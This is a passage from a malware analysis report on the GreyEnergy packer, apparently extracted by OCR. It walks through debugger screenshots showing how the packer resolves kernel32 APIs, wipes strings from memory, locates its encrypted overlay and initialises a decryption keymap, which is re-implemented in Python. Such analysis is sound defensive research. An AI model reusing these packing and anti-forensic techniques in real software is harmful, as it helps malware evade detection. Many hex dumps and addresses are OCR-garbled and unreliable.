8 00407F41 and byte ptr ds:[9636889A],d] ESI 74160000 kernel32.74160000
® 00407F4; stosb ) EDI 00407377 <d4e97al8be820ala:
@ 00407F48 inc eax eax:EntryPoint
@ 00407F49 | > |not eax eax:EntryPoint EIP 00407F29 d4e97al8be820alal:
& 00407F4B lea eax,dword ptr ss:|lebp-188]] eax:EntryPoint
@€ 00407F51 push eax leax:EntrvPoint e —
| - ____ . I E DeFaut(slﬂcal)
eax=<daes7 aisbes20alasaf639c9bcaz1cs {85 a3f49a37275b37fd012f aeffcb7caa. EntryPoint> (00407377) 17 [esprd’
dword ptr [edx+3C]=[kernel32.7416003C]=E8 ‘&' 2 esp+8 001950:0
. Text: 00407F29 d4ed7alsbesz0ala3af639cobcazicsfasa3f49a37275b37fdol2faeffcbrcsa: S7F29 #7329 i ::g:‘cm]og:g:g;god;:?::%:geszeuuaafesscsbcaz
5: [esp+14] 0019FD84 “"Createrilew”

&)

@oump1  @Hoump2  @hpump3  $Hpump4  WHDumps 8D watch1i  Ir-llocals Y Sbuct

r H

74160000/4D 5A 90 00|03 00 00 00|04 00 00 OO |FF FF 00 OO|MZ.......... yy. .
7416001088 00 00 00|00 00 00 0040 00 00 00|00 00 00 0O|,...
7416002000 00 00 00|00 00 Q0 00 00 00 00 00|00 00 00 00|..
74160030/00 00 00 00|00 00 00 00|00 00 00 00|E8 00 00 00|.
74160040|0E 1F BA OE |00 B4 09 CD 21 B8 01 4C|CD 21 54 68|,.°.. .11 LI'Th
74160050(69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E GE 6F|is program canno
74160060|74 20 62 65|20 72 75 6E |20 69 6E 20|44 4F 53 20|t be run in DOS
74160070|6D 6F 64 65|2E OD OD QA |24 00 00 00|00 00 00 00
74160080(69 56 FB C7 (2D 37 95 94 |2D 37 95 94 |2D 37 95 94|i
74160090|42 53 94 95|29 37 95 94|24 4F 06 94 |98 37 95 94(B
741600A0 /2D 37 94 94 CO 33 95 94 42 53 91 95|24 37 95 94
7416008042 53 95 95 /2C 37 95 94 |42 53 96 95|25 37 95 94
741600C0 42 53 9D 95 FC 37 95 94 |42 53 6A 94 |2C 37 95 94
7416000042 53 97 95 2C 37 95 94 |52 69 63 68|2D 37 95 %4
741600E0/00 00 Q0 00|00 00 00 00|50 45 00 00 |4

741600F0|BF 74 OA AE |00 00 00 00|00 00 00 00|EO 00 21| at.
74160100/0B 01 OE OC |00 10 06 00|00 FO 02 00|00 00 00 00|....
74160110 A 0000 00 0000 00 08 0000 00 74| ...
7416012000 00 01 00|00 10 00 00 OA 00 00 00|0A 00 00 00|..

74160130(0A 00 00 00|00 00 00 00|00 00 OE 00|00 10 00 00|..
74160140/ 1C E8 09 0003 00 40 4100 00 04 00|00 10 00 00|.é
74160150(00 00 10 00|00 10 00 00|00 00 00 00|10 00 00 00
74160160(20 10 09 00|50 D8 00 Q0|70 E8 09 00 |1C 07 00 00
74160170(00 00 OC 00(20 05 00 Q0|00 0O 00 00|00 00 00 00
7416018000 10 09 00(60 36 00 00|00 00 OD 00|40 46 00 00|...."
7416019060 FA 08 00|54 00 00 00|00 00 00 00|00 00 00 00| u

741601A0/00 00 00 00|00 00 00 00|00 0O 00 00|00 00 00 00
74160180/ 20 OA 08 00 A0 00 00 00|00 0O 00 00|00 00 00 00
741601C0|CO OA 08 00|9C 14 00 00|00 0O 00 00|00 OO0 0O 00
741601D0(00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00
741601E0(2E 74 65 78|74 00 00 00|16 06 06 00|00 00 01 00|.
741601F0(00 10 06 00|00 10 00 00|00 00 00 00|00 00 00 00
74160200(00 00 00 00|20 00 00 60|2E 72 64 61|74 61 00 00|....

Figure 21 - GreyEnergy parses the PE header to access the export table of kernel32.dll, which is loaded into memory.

Using this method, addresses for the following APIs are identified:
e (CreateFileW
e (GetFileSize
e TLocalAlloc
e ReadFile
e (CloseHandle

4.7.2. Anti-forensic technique: string overwrite

The packer implements a basic anti-forensic technique by overwriting all strings with zeros, after the strings
have been loaded into memory.

The algorithm is simple and consists of overwriting all bytes of the string with a byte provided by the wipe
function (fixed to 0x00 in the sample analyzed).
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004074DD
004074€£0

eax,dword ptr ss:|[ebp-4]
cl,byte ptr ss:|lebp+Cl]
byte ptr ds:[eax],cl

get the addr to wipe
get the byte to use during the wipe
wipe the byte

004074E5
004074EA

T, TJUUAUID JURK

eax,dword ptr#s:[lebp-4] [ebp-4]:"tFilesize"

eax next byte in the buffer
dword ptp#fs:|[lebp-40,eax [ebp-4]:"tFilesize"
dd4e97a e820ala3af639c9bca2lc5f85a3f4

be820ala3af639c9bca2lc5f85a3f49

Hide FPU

EAX  0019FD92
EBX 00000000
ECX 92109200
EDX FFEFF17C

EBP 0019FD5C
ESP 0019FD58
| EST 74160000

]
Default (stdcall)

b{te ptr [eax]=[0019FD92 "tFilesi 1=74 't’
cl=0
.text:004074E3 d4ed7alsbes, 1a3afé39cobca21c5F85a3f49a37275b37Fdo12Faeffcb7cd4a: §74E3 #68E3

1: [espr4] 0013FDCO
2: [esp+8] 0040678D
3: [esp+C] 0019FD30
4: [esp+10] 0000000C

¥4 Dump 1 'iiUDumDMLUDumD3 Wpump4 ¥4 Dumps

& Watch 1

Pe=llocals 4 Struct

ASCTT

Addr
0019FD90 00 00 74 4669 6C 65 53(69 /A 6500 [F0 32 /O

.tFileSize.02p.

0019FDAO BT TUoF Trro oo e T—00 |BC FD 19 .87. Ay. Yaw@. ey .
0019FDBO| 20 FF 19 CO0 F7 1C 74|77 73 40 00|00 01 Y. A— tws@. .D.
0019FDCO| 80 FF 87 /F 40 00|E0 F9 1C 74 |EC FD 19 Siioc okl au t1y
0019FDDO| /0 _FF 19 B4 00 00 00 FO_3F 00|60 C/7 4C /7 |py. §Lw
0019FDEQ| 00 EL F5 05|02 02 00 00 |FO_FF 19 00|28 00 00 00|.as. .. .. ay .

Figure 22 - The wipe algorithm overwrites the string “GetFileSize” with 0x00s.

Thus far there are multiple indicators that strongly suggest that the binary is a packer:

Apparently encrypted overlay
Anti-analysis techniques
APIs manually resolved by parsing the PE header

Strings hardcoded inside the code and overwritten with 0x00s after use

4.7.3. Accessing the overlay

As suggested at the start of the analysis, the malware is now trying to access the data appended at the end of
the file. In order to do that, it copies itself inside the memory with the purpose of parsing the PE header. It
locates the exact offset where the overlay starts using the five APIs previously identified.

The first thing the malware needs to do is access itself using CreateFilew, which returns a handle to the

opened file.

CreateFilew | ~|[ wide FPU
000000CS
ECX C D65 i
Ecx  cuggoes  Handle to the file
EBP  OFLOFDCO
ESP 19FD70 "ws@"
eW ESI 74160000  kernel32.74160000

<d4e97al8beB20alalaf639cIbca?lc5F85a3f49a37275b37fd012faeffcb7cda. En

d4e97.a18beB820alalaf639cIbca21c5f85a3f49a37275b37 fd012faeffcb7 cda. 004

5003+

Parameters

gall dword ptr ss:febp-CJf lebp-C]:
TMOv=tWoTa=prer N
cmp dword ptr ss:|[lebpNl4],FFFFFFFF
- |jmp d4e97al8be820ala3aPq3dcObcallc5F85a3f4
xchg ebx,eax
or dl,byte ptr ds:[edx+66
intl .
fxam Call CreateFil
push eax
lea ecx,dword ptr ds:[ebx+2D] junk
mov ecx,edx iunk
<
Gword pir [ebprld]=[0019FDD4] =ker nel32.74160000
eax=cs 'E"
. Text:00408000 d4e97a1sbeszoal a2105F55a3F 49037 12fa <sub_so
¥ oump 1 Hmz Woup3  Woumd  EWoumps @ waihi
4611 EWE] 77404A4E 7760 36 48 77[20 36 48
77461010 7255 77 |EQ 8 77|20 36
77461020|00 00 00 00 4 7 77 00 67 48 771C0 7E 55
77461030/ AQ 4E 48 77 A 77|00 00 00 00|00 00 00 i
7746104 00 8 74 46 77 (00 00 02 00(90 SC 46
77461050110 00 12 00|54 79740 77108 00 0A 00 (400 46 7 0038000
77461060(22 00 24 00 A 00 2C 00|72 77 46 [ ER
7738167065 4 73 43 (3000700 01 7_77(00°00 00 00 000000
77461080|60 17 46 77|60 77 4C 77 (18 00 00 00 (00 00 00 00 00000000
77461090 00 00 00 00 (00 00 00 00 165724
77461040(00 00 00 00|57 14 01 E2 |46 15 C5 43 |AS FE 00 8D, 9486574
774610B0(EE €3 D3 FO|06 00 00 00|48 6E 46 77 (01 00 00 00 1057656C
774610C0|9A 8B 13 3596 5D BD 4F |BE 2D AZ 44 |02 25 F9 3A 0000000
77461000 00 00 4 77|02 00 00 00|E3 2B 2F 4A 10000000
774610E0(89 53 41 0|44 4a G 38|06 00 02 00 010ED6C
7T1810F0| 10 2¢ 45 7703 00 06 00|76 6c 67 1|1 80 35 42 e |S0s25ae0
D 1300/ 39855355 P2 00 DA 78|06 00 03 00 |E4 6o 46 17 5 100388600
17481119]04 00 00 0[12 7a or 8|83 o £8 4 (8T AT 8 10| [0010r0A |010r00e

d4e97al8bes20ala3af639cIbca2lc5F85a3f49a37275b37fd012faeffcb7c4a. EntryPoint

Figure 23 - The malware gets the handle 0xC8, which represents a link to itself on the disk.

The second thing required is the exact size of the executable, to know how much space to allocate in memory.

The APl GetFileSize is used to pass the size parameter of the file obtained earlier.
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The second parameter 0x00 passed is a pointer to the variable where the high-order doubleword of the file
size is returned. In this case it was set to NULL, because the application did not require the high-order
doubleword.

004071BD puslﬁ g g neh e ~| Hide FPU
004071BF pus word ptr ss:|febp+1:
004071c? call dword ptr ss:|[ebp+8] [ebp+8]:GetFilesize EAX___0001D000
004071c8 cmp dword ptr ;[ebp—ﬂl] ,,ebx FEEEE?? Size of the file
004071cB | -~ |jmp d4e97al8be8 1a3af639c9bca2lc5f85a314 0019FDCO
00407100 push 54 0019FD70 "ws@"
004071D2 fisub sté(}%,wgrg ptr : [AZF6D126] 74160000 kernel32.74160000
004071D8 mov eax,818DCOC EDT 00407377 d4e97al8be820ala:
——————— 00407100 | - |jg d4e97al8be820ala3af639c9kca2lc5F85a3f4d cafedraiibessiala
004071DF sbb ch,bvte ptr cs:ledx+28] L. . Y| EIP  004071C5 d4e9d7al8be820ala3:
< all GetFileSize >
dword ptr [ebp-4]=[0019FDBC]=006C0D065 Default (stdcall)
£ax=0001D000 1: [esp+4] O02BFO0D
2: [esp+3] 0000000O
.Text:004071C5 d4e97alsbes20alazafe39cobcazicsfasasfagaszarsb3i7fdol2faeffcbrc4a: §7 5CS 3: [esp+c] 00000000
4: [esp+10] 00000000

000000C8
00000000

Wpump: @%pump2  ENoump3  #Upumps4 YW Dumps @ watch1 1o Iﬁl 88%8EBE?

Address |Hex ~

746100060 48 28 77140 4A 48 77160 36 48 77170 36 48 77 sy amies d4e97al18be820ala3daf639c9bca2lc5f85a3f49a3727
77461010(00 00 00 00 |EQ 72 55 77 |EQ 83 48 /7 |20 36 48 77 oosono0s Handle OxC8

77461020(00 00 00 00|40 7E 55 77|00 67 48 /7 |CO JE 55 77 S0000000

e Il E e e | it e

Figure 24 - The malware gets the size of its own executable.

Now that the malware has a handle to itself on the disk, and the exact size in bytes of the executable, it is
ready to allocate space inside the memory for itself.

At this point there are strong indicators that what we are looking at is a packer, because of the overlay access
and the widespread anti-analysis techniques used throughout the code. However, we could be looking at
something like an installer stub accessing the overlay.

The APl LocalAlloc allocates bytes on the heap, initializing them to O0x00 because the

parameter LMEM_ZEROINIT (0x40) is used during the call. The function returns the address of the allocated
memory in the register EAX, in this case itis 0x00526E68.

T 00407C85 €all dword ptr ss:[[ebp+8T [ebp+8]:LocalAlloc ~| Hide FPU
% 7C88 n 5
i 00407C8B dde97al8be820ala3a c9bca2lc5f85a3f 00526E68
! 00407c90 edi edi:EntryPoint
3 00407¢91 dec ebp Call LocalAlloc cas2cofs Allocated address
: 00407c92 inc esp
: 00407c93 lea edi,dword ptr ds:[edx-7D011ARQ] edi:EntryPoint s
treemmsa 00407c99 ~ |jecxz <d4e97al8be820ala3af639c9bc. c5T85 Kernel32. 74160000
00407c9B ror byte ptr ds:[edi-69],c] <d4097a18beB20ala
00407C9E mov esi,dword ptr ss:|[lebp+8] addr final buffer
00407cAl Mmov_eax.FFF counter d4e97a18bes20ala3,
3 >
cbx=0 .
dword ptr [ebp+C1=[0019FDCC]=0019FDEC File size + [esp+4]}0028F000
. TexXt:00407C88 d4e97als8beszoalazafe3gcabcazicsfesaszfagaszrzarsha7rfdorzfaeffchbrcqa: $7C88 #7088 OXW DOOO 3 EE%%? ]g§§§§§§§0
i
@oump1  @%pump2  @pump3  Wpump4  BWDumps @ watch1  Ie-llocals 7 Struct Igg}ggggg 8889%838
0552523 BSX 0 ASCIL - d4e97a18be820ala3af639c9bc
0526E7E 00 0019FD/4 |0028F000
0525E33 00 0019FD78 | 00000000
OSZEEQE 00 0019FD7C 00000000
0526EA8| 00 0019FD80 | 00000000
0526EB8 |00 0019FD84 (00000000 | e
0526EC8| 00 - DES 00000000 nspect the buffer
0526ED8 | 00 H £ c
0019FDI0 in memory (size: 0x1D000
3§§EEES 88 0019FD24 (00000000 y { )
0525E53 00 0019FD98 | 00000000
0526;13 00 0019FDIC [61636F4C
0526F28|00 0019FDAD | 6C6C416C
OSZGFBE 00 0019FDA4  [0000636F
0525F43 00 0019FDA8 |004077BC return to d4e97alB8be820ala
0525?53 00 0019FDAC [0019FDBC
0526F68|00 0019FDBO |0019FF20 .
0526F78|00 0019FDB4 {741CF7C0 kernel32.CreateFilew
0526F88|00 0019FDB8 400407377 d4e97a18be820ala3af639c9bc
0525?93 00 0019FDBC [0001D000
0526FA8 |00 0019FDCO |0019FF80
0525?;3 00 0019FDC4 [[00407F87 return to d4e97alBbe820ala
0019FDC8 474175850 kerne132.LocalAlloc

0526FC8|00
N00526ED8.00

0019rDCC || 0019FDEC
antarnnn lontare7n

Figure 25 - Here the malware is allocating enough space in memory to store the hidden executable.
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At this point the suspected packer has the address in memory where it will store itself. The next step is to read
the file from the disk and store it in the allocated memory space. To do that, the following important information
is required:

e 0xC8 — handle to the file to read
e 0x00526E68 — address of the allocated memory
e 0x1D000 — size of the file (amount of data to read)

00408181 pUSh aword pur ao:lebx] ebx:"hnrR" ~| Hide FPU

00408183 push dword ptr ss:|[[ebp+14]

00408186 €all dword ptr ss:|[ebp+8] [ebp+8]:ReadFile EAX 00000001 o T

00408189 [ - [ebp-8]:EntryPoint EBX  Oo19FpEC hos

0040818C sub ebx,ebx ebx:"hnR" EDX  0019FD34

0040818E cmp dword ptr ss:[lebp-8]J,ebx [ebp-8]:EntryPoint EBP 0019FDCO

00408191 ~ |jmp dd4e97al8be820ala3af639c9bhcM1c5T85a314 ESP 0019FD70 "s@"

00408196 and dword ptr ds:[edi-71],ecx EST 74160000 kernel32. 74160000

00408199 pop ecx . EDI 00407377 <d4e97al8be820ala:

0040819A pop esi all ReadFile

5)0408198 xor al,c0 5 vl EIP 00408189 d4e97al8be820alal:
efTchb7 caa. ENtryPoint> Default (stdcall)

dword ptr [ebp-8]=[0D019FDB8 "ws@"]=<d4e97al8beszoala3zafe39cIbcazicsfssazfa9aszrzrsb3rfdol.
eax=1 1: [esp+4] 0028FO00
2: [esp+8] 00000000
3: [esp+C] 00000000
4: [esp+10] 00000000

.Text: 00408189 d4e97alBbes20alazaf639cobcazlcsTa5a3f49a37275b37Fd012Faeffcb7c4a: $8189 #7589

m
g!!:!ress

DOIOFDSC |000000C
0019FD60 |00526E68

o019rp64 |00010000 | Parameters

0526E68 7
0019FD68 [0019FF70
g?%ggég 0019FD6C (00000000 s . - .
oooc g00< 137 [4e97al8beB820ala3afe39cObci
0526E98(00 00 00 00|00 00 00 00|00 00 00 00 (EQ 00 00 00f............ a. 00107 0028F00

0526EA8|OE 1F BA OF (00 B4 09 CD |21 B& 01 4C|cD 21 54 68|,.°.. .11 .LTiThfl |07or 0000000
0526EB8(69 73 20 70|72 6F 67 72|61 6D 20 63 |61 6E 6E 6F |is program cannofl | golorp7c | 0000000
0526EC8|74 20 62 65|20 72 75 6E |20 69 6E 20|44 4F 53 20|t be run in DOS | | 1070r080 | 0000000

Execytable copied

0526ED8
0019FD84 (0000000
gé%gEEg 0019FDB8 |0000000 . |
0326F08 0019FDEC 0000000 In memory:
0526F18 0019FD90 | 0000000
0526E23 0019FD94 | 0000000
9FD98 (0000000
0526F38 el
gg%EFég 0019FDAD  [00000000
USZGFGB 0019FDA4 (00000000
0526F73 0019FDAS |64616552
USZGFBB 0019FDAC |656C6946
F 0019FDBO [0019FFO0
gg%gmg 0019FDB4 {741CF7CO kernel32.CreateFilew
0356r 58 0019FDES 100407377 d4e97a18be820ala3af639cIbc;
0526FC8 0019FDBC [0001DO00
0526EBE 0019FDCO |0019FF80 |
0526FE8 0019FDC4  F00407F87 return to d4e97al8be820alal
0526FF8 0019FDC8 +| 741CFB40 kernel32.ReadFile
0527008 0019FDCC 0019FDEC "hnr"
0527018 0019FDDO || OO19FF70
0527028 0019FDD4 [ 000000C8
0527038 0019FDD8 || 0028F000
0527048 0019FDDC 4774CC760 ntd11.RtlUserThreadstart
0527058 0019FDEO [|O5F5E100
0527068 0019FDE4 | 00000202
0527078 0019FDES | 0019FFFO
0527088 0019FDEC [|00526E68
0527098 0019FDFO [ 0000027F
05270A8 0019FDF4 (100000000
0527088 0019FDFE ]| 00000000
05270C8 0019FDFC Q0000000

0019FEQO (00000000
0019FE04 [JO0521AEO0

Figure 26 - The data contained inside the executable on the disk is copied into memory.

Heechld

The final step performed by the malware is to close the handle using the API CloseHandle. The handle 0xC8
is released and is no longer usable.

Now that the malware has copied itself into memory, it needs to point at the overlay data somehow. In order to

do that, it will manually parse the PE header, traveling through the sections. Before going ahead, let's take a
look at how the PE file is formed.
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The red box in the image below shows all the categories contained inside the header. Each of them contains
several fields describing specific useful information like the entry point of the executable, the APlIs called, the
compilation timestamp, how the data is structured inside the file and so on.

The last part of the PE header is the section headers, which describes how the file’s sections are organized,
including their sizes and offsets.

-
= =
Name Virtual Size Virtual Address | Raw Size Raw Address Reloc Address | Linenumbers | Relocations M... | Linenumbers ... Characteristics
it meediale b
o ) Dos Honder = 00000250 00000258 0000025C 00000260 00000264 00000268 0000026C 00000270 00000272 00000274
= Nt Headers Byte[£] Dword Dword Dword Dword Dword Dword Word Word Dword
= File Header text 00003600 00001000 0000900 00000400 00000000 0000000 0000 0000 60000020
[l Optional Header
(3 Data Directories [x] rdata 00002438 000DBO0O 00002C00 00009A00 00000000 00000000 0000 0000 40000040
3 Section Headers k] data 000D2C24 0DODECOD 00001000 0DODCE00 00000000 00000000 0000 0000 COD0DO40

— . Import Uirectory
— | Resource Directory JTSFC 000001B4 00011000 00000200 00000600 00000000 00000000 0000 40000040
— ) Debug Dirsctary

— qLﬁtkiEss Converter

This section contains:

Resource Directory: 00011000

B G = ~p

Offset D 1 2 3 4 5 & 7 8 9 A4 B C D E F | hscii
i o 00000000 | 00 00 00 00 00 00 00 00 04 DO 00 00 00 00 01 00 | ... .. 0.... 0.
— "l UPX Uhility 00000010 [ 18 00 00 00 18 00 00 B0 00 00 00 DO OO0 00 00 0O |0 ..0. |

opopooozo | 04 00 00 00 OO 0O 01 0O O1 OO0 0O OO0 30 00 0O B0 o..... o.o...0..1
oopooozo ( 00 00 00 00 00 00 0O OO0 04 00 OO OO 0O OO0 01 oo | ... .. o.....0.
opoooo4o | 09 04 00 OO 48 00 OO0 0O 58 10 01 00 54 01 00 0O 0..H. .Zoo.Zo..
oopoonso [ E4 04 00 00 00 0O 0O 00 3C 61 73 73 65 6D 62 6C a0 ..... . <assembl
00o000e0 [ 79 20 78 6D 6C 6E 73 3D 22 75 72 6E 34 73 63 68 v.@mlns="urn sch
ooooon7o [ 65 6D 61 73 2D 6D 69 63 72 BF 73 6F 66 74 2D 63 emas-nicrosof t-c
0pooo0na0 | 6F 6D 34 61 73 6D 2E 76 31 22 20 6D 61 BE 69 &6 om:asm. vl manif
oooooonsn [ 65 73 74 56 65 72 Y3 69 6F BE 3D 22 31 ZE 30 22 estVersion="1.0"
000000AD | 3E 0D 04 20 20 3C 74 72 75 73 74 49 6E 66 6F 20 ... dtrustInfo.
O00O000O0ED | 78 6D 6C 6E 73 3D 22 75 72 6E 34 73 63 68 65 6D zmlns="urn:=schen
aopoonco [ 61 73 2D ED 69 3 72 EF 73 BF 66 74 2D R3 EF 6D as-microsof t—com
0poooopo | 34 61 73 6D ZE 76 33 22 3E 0D DA 20 20 20 20 3C asm.v3's. ... <
oonoonED [ 73 A5 63 75 72 9 74 79 3E 0D 0A 20 20 20 20 20 security:
O0O00O0FO | 20 3C 72 65 71 75 65 73 74 65 64 G0 72 69 76 69 <requestedPrivi
oopooioo [ 6C 65 67 65 73 3E OD 04 20 20 20 20 20 20 20 20 legesy

0poooiio| 3C 72 65 71 75 65 73 T4 65 64 45 78 65 63 76 T4 <regquestedExecut
oonooilzo [ 69 6F 6E 4C 65 76 65 6C 20 6C 65 76 65 6C 3D 22 ionlewel  level="
00000130 | 61 73 49 6E 76 6F 6B 65 72 22 20 75 69 41 63 63 aslnvoker” uikco
oo0noo140 ( 65 73 73 3D 22 66 61 6C 73 65 22 3E 3C 2F 72 65 ezs="false" i re
00000150 ( 71 75 65 73 74 65 64 45 78 65 63 75 74 69 6F GE questedExecution

00000160 [ 4C 65 76 65 6C 2E 0D D& 20 20 20 20 20 20 3C 2F Level>. ... .. R
0pooo170 | 72 65 71 75 65 73 74 65 64 B0 72 69 76 69 6C 65 requestedPrivile
oopoolen (67 65 73 3E OD DA 20 20 20 20 3C 2F 73 65 63 75 gess. . ... .</secu

opoooi90 | 72 69 74 79 3E 0D 04 20 20 3C 2F 74 72 75 73 T4 rity:. ... < trust
00000140 | 49 6E 66 6F 3E 0D 04 3C 2F 61 73 73 65 6D 62 6C Infoy. . <~ assembl
O00001EO | 79 3E 50 41 S0 41 44 44 49 4E 47 58 58 50 41 44 v PAPADDINGEEPAD
O0000L1C0 | 44 49 4E 47 S0 41 44 44 49 4E 47 58 58 50 41 44 DINGPADDINGEEPAD
000001D0 | 44 49 4E 47 S0 41 44 44 49 4E 47 58 58 50 41 44 DINGPADDINGKEPAD
ODO0001ED | 44 49 4E 47 S0 41 44 44 49 4E 47 58 58 50 41 44 DINGPADDINGEEPAD
O00001F0 | 44 49 4E 47 50 41 44 44 49 4E 47 58 58 50 41 44 DINGPADDINGEEFAD

Figure 27 - Overview of the structure of the internal executable.

Accessing the last entry, representing the section called . rsrc, it's possible to extract the offset start point
and the section size. With this information, it's possible to calculate the exact address where the section ends:

e 0xD600 — Raw Address where the section is located
e (0x200 — Raw Size of the section

At the bottom of the image, it shows the section ending with the common padding text PADDINGXX.

Doing a simple addition, 0xD600 + 0x200 = 0xD800, it's possible to determine where the file ends and where
the appended data starts.
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Let’s find out what’s present at that offset using a hex editor:

offset(h) 00 01 02 03 04 05 06 OF 0% 09 OA OB OC OD OE OF Decoded text
0000DEF0 20 3C 72 65 71 75 €5 73 74 65 €4 50 72 69 76 69  <requestedPrivi
0000DTO0 6C 65 67 65 73 3E OD OR 20 20 20 20 20 20 20 20 leges>..

0000DT10 3C 72 65 71 75 65 73 74 65 64 45 T8 €5 €3 75 74 <reguestedExecut
0000DT20 69 &F 6E 4C €5 7€ 65 6C 20 €C €5 76 65 6C 3D 22  ionLevel level="
0000DT30 €1 73 49 6E T6€ €F 6B 65 72 22 20 75 €% 41 63 63 asInvoker" uilicc
0000DT40 €5 73 73 3D 22 66 €1 6C 73 €5 22 3E 3C 2F 72 65 ess="false"></re
0000DTEQ 71 75 65 73 T4 €5 €4 45 T8 €5 €3 75 74 €3 6F 6E guestedExecution
0000DTE0 4C 65 76 €5 6C 3E OD OR 20 20 20 20 20 20 3C 2F Level>.. </
0000DTTO 72 65 Tl 75 65 T3 T4 €5 64 50 T2 69 76 €9 6C 65 requestedPrivile
0000DTE0 €7 65 73 3E OD OR 20 20 20 20 3C 2F 73 65 63 75 ges>.. </secu
0000DT90 72 69 74 79 3E OD OR 20 20 3C 2F 74 72 75 73 74 rity:.. </trust
0000DTAO 49 6E 66 6F 3E 0D OR 3C 2F 61 73 73 65 6D 62 6C Info>..</assembl
0000DTEO 79 3E 50 41 50 41 44 44 49 4F 47 58 58 50 41 44  y>PAPADDINGXXPAD
0000DTCO 44 49 4E 47 50 41 44 44 49 4F 47 58 58 50 41 44 DINGPADDINGXXPAD
0000DTDO 44 49 4E 47 50 41 44 44 49 4F 47 58 58 50 41 44 DINGPADDINGXXPAD
0000DTEQ 44 49 4E 47 50 41 44 44 49 4F 47 58 58 50 41 44 DINGPADDINGXXPAD
0000DTFO 44 49 4E 47 50 41 44 44 49 4F 47 52 58 50 41 44 DINGPADDINGXXPAD
oooopsoo E] 0 17 S1 51 RE 85 07 Bé 73 4% 27 18 3E F7 D2 [{..Q08..9sIf.>:0
0000D810 30 78 7B 60 ©C 1F 77 Cl1 S5E 2D 34 00 OE B9 2F OxxC'e.wh"-4..,3/
0000D820 15 4F DS 05 5% DE 88 C2 59 55 3F 9D 80 2F OF 5& .OO.YB EYU?.£..Z
0000DE30 A3 1B CC 98 SF 10 E0 13 24 80 15 78 74 70 &1 £.If> .a..€.{tpi
0000DE40 C3 8B 23 BC L9 28 FA 26 77 43 E4 FF DZ 8D 9& f« #2140 (Q&wCEv0.3
0000DEE0 9% AC 51 5& 61 15 ES 30 65 D3 36 F& 4E 6F 55 ™ 0Qhia.&0e068NolU
0000DE60 4D 46 Bl C4 BR 6C E2 16 83 BO DC CE 68 11 50 69 MF:A°14.57°0In.Pi
0000DET0 E3 DS FS 8F 5D 03 DO RB AD BC BO AF 5D &5 &F &08%.].B«.4° Jeo
0000DES0 T4 00 DB 27 T7C 70 68 6A 4F FB OB 46 74 56 BE t.@!'|phijOh.FtVs
0000D8S0 C4 F3 CO 81 12 DD C7 D9 70 97 2E 42 €% 09 BC AdA*..¥CUp—.Bh.h
0000DSA0 43 87 FD 00 54 98 TR ED 9D A5 €E CE CC 1B 50 65 C#y.T"zi.¥nii..e
0000DEEO0 79 CC 94 65 L2 39 4C B8 63 3L TE €1 B4 4L DE  yIiZfe<ol ci~a’J@
0000DSCO 6B A% OFE DD D6 55 96 C7 AF A8 Cl E% 3D 10 1C 2E k- .¥0U-G® Aé=...
0000DED0 BS 44 5F 05 8B 9% EE CC E5 AF 44 81 99 24 S8 30 2D .¢™iid"D.=5-0
000ODEE0 B9 D9 43 Rl 73 20 22 57 03 A2 C4 32 33 20 52 0L *0UC;s€"W.ch23eR.
0000DBFO0 87 5F 57 82 BT 18 91 32 62 1D 3D EF 83 2E C4 A9 % W, -.'2b.=if.h®
0000DA00 06 S0 4D 47 5C OFE Ol 42 1E 51 06 94 OB B6 CB 23  ..MG\..B.Q.”.9Ef
0000D9l0 2C 2E §9 RO 3B BF A0 Fo 1E F9 C3 97 24 o7 DR OE ,.% ;; q.0h-5-0.
0000D920 DO DC C9 35 SA AR F1 OL 6D AE A3 &F 15 BS DE 4E BUESZAA.m®L..ubN
0000D930 EB 04 F1 AC 53 BE @5 1D D3 20 5D 59 24 60 F8 88  &.f-Sw+.0 ]¥S 2"
0000DS40 ET C7 F5 DE 1E 4D Cé 63 FB 78 C5 9C 56 95 8E BD oCO@.MEnG{Asv~F
0000D950 AF 5A 81 9C D2 D8 DE &AF 6C 51 89 78 18 Bl 40 39  Z.=0@F 10%x.89

Figure 28 - Shown above is the end of the file, as described in the PE header + appended data.

There it is! The suspicious overlay data noticed at the beginning of the analysis starts exactly at the end of the
. rsrc section. Using that strategy, the malware is going to parse the PE header, iterating over all the
sections and performing the addition on the last section. When done, it obtains the right overlay offset.
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4.7.4.Decryption algorithm

Starting from the offset 0xD800, the malware reads 40 bytes that will be used to initialize an array of 256 bytes
through the following custom algorithm (re-implemented in Python):

def init keymap (key) :

ikey = 0

keysum 0

keymap = bytearray([i for i in range(256)])

for idx in range (len (keymap)) :
keysum = (keysum + key[ikey] + keymap[idx]) % 256
keymap[idx], keymap[keysum] = keymap[keysum], keymap[idx]
ikey = (ikey + 1) % len (key)

return keymap

The initialized array is required by the decryption algorithm because it is the secret key (from now on referred
to as keymap) needed to decrypt the protected overlay data.

The decryption function uses the keymap internally, taking as its argument the output buffer. This provides the
location for the decrypted data, and the length of the buffer.

004083D6 TN - 0x28 bytes of key
004083D9 push eax appdata len
004083DA push dword ptr ss:|lebp-194] ptr to appdata
call <d4e97al8be820ala3af639cIbca?lc54#85a3f49a37275b37fd012faeffch decrypt payload
after decryption

004083E8 lea eax,dword ptr dﬁ:[ECX*ﬁ
004083EB push dword ptr ss:[lebp-CJJ
004083€EE mov eax,8C42B537

004083F3 mov eax,dword ptr ss:|Jebp-10]
004083F6 sub eax,dword ptr ss:|febp-6C]
004083F9 sub eax,28

004083FC ~  jmp d4e97al8be820ala3af639c9bca2
00408401 xor ah,dh

00408403 mov eax,dword ptr ds:[4E8CB70F]
00408408 add dh.bh

<

Call the decryption
function
5f85a3f49a37275b37fd012faeffch7cs

dword ptr [ebp-68]=[0019FF18 &L"-storage-11-1-0"]=00057000 L"-storage-11-1-0"

.text:004083E5 d4e97alsbed20alazaf639cobcaricsFa5a3f49a37275b37Fdo12faeffc|

$oump 2 goumps  Shoumps g Dumos @8 watch1 1|
B—

Output pointer and

4D 00 5A 90]00 00 03 00|00 05 10 0405 10 00 FF|| MrEGTERE .

00 FF 05 10|B8 08 11 OE OF 11 10 11|11 12 13 10 buffer size
00 40 01 08|50 00 45 05|10 4c 01 00|05 14 11 08 [o019rpen

E0 00 00 02|00 01 0B 00|01 09 01 05|0E 01 08 28(f | joiorpea pE™

11 OF 64 00|19 08 10 10|08 10 20 OE 11 16 00 01l |o71arpes
2F 05 10 02|05 11 1D 01 01 OF 39 11|10 60 01 08| | 7orpec
37 10 00 07 00 B2 36 11|15 85 01 0535 11 35 470 | 00Tarnro
11 4A OF 11|49 12 10 78|23 01 05 78|01 1t 53 11 | solorpra
